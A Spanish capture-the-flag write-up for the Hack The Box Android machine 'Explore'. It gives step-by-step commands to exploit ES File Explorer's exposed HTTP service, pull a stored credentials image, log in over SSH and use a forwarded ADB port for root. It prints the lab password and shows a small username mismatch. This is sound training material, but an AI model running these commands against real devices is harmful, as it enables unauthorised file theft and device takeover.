HTB Machine Explore
Bienvenido al writeup de la máquina explore de la plataforma Hack The Box. Explore es una máquina Android de dificultad fácil.
Antes de empezar
Conectamos a la VPN de Hack The Box en segundo plano con TMUX
tmux new -s htb
sudo openvpn ~/.vpn/htb.ovpn
Añadimos la máquina al fichero /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo
echo '10.10.10.247 explore.htb' >> /etc/hosts
ping -c 4 explore.htb
mkdir -p ~/htb/explorer.htb/{exploits,fuzz,http,nmap}
Reconocimiento
Comprobamos todos los puertos abiertos, detectamos el servicio y su versión con nmap
nmap -sC -sV -p- -T4 --min-rate=1000 -v -oA all explore.htb
Nmap scan report for explore.htb (10.10.10.247)
Host is up (0.048s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
42135/tcp open http ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
44347/tcp open unknown
59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
Service Info: Device: phone
Abrimos Firefox para inspeccionar el sitio web
firefox http://explore.htb:59777 &
Nada interesante, sigamos buscando información.
En el puerto 42135 corre ES File Explorer, una vulnerabilidad pública cuyo PoC ya estaba probando en el Github de fs0c131y . También observamos que JSONAPI es un add-on de Bukkit que permite consumir una API — puede que estén relacionados.
Leyendo el README.md del repositorio, podemos generar un payload para probar la vulnerabilidad:
curl --header "Content-Type: application/json" --request POST --data '{"command":"getDeviceInfo"}' http://explore.htb:59777
Buscando ficheros interesantes, encontramos una imagen con las credenciales del usuario kriti en la ruta /storage/emulated/0/DCIM/creds.jpg:
curl --header "Content-Type: application/json" --request POST --data '{"command":"listPics"}' http://explore.htb:59777
Para descargar creds.jpg usamos el siguiente comando:
python exploit_ESFileExplorer.py --get-file /storage/emulated/0/DCIM/creds.jpg --host explore.htb
Credenciales obtenidas:
kristi:Kr1sT!5h@Rp3xPl0r3!
Acceso Inicial
El servicio SSH corre en el puerto 2222. Nos conectamos con las credenciales y mostramos la flag user.txt:
ssh -p 2222 kristi@explore.htb
cat /sdcard/user.txt
Escalada de Privilegios
Revisando las conexiones de red, observamos que el puerto 5555 está a la escucha. Este puerto es utilizado por defecto por ADB (Android Debug Bridge).
netstat -nlpt
Hacemos un port forward mediante SSH y nos conectamos desde nuestra máquina:
ssh -p 2222 kristi@explore.htb -L 5555:localhost:5555
Usamos adb para obtener acceso root, localizar la flag y mostrarla:
adb -s localhost:5555 root
adb -s localhost:5555 shell
find / -name "root.txt" 2>/dev/null
cat /data/root.txt
Un saludo, nos vemos en el próximo challenge.











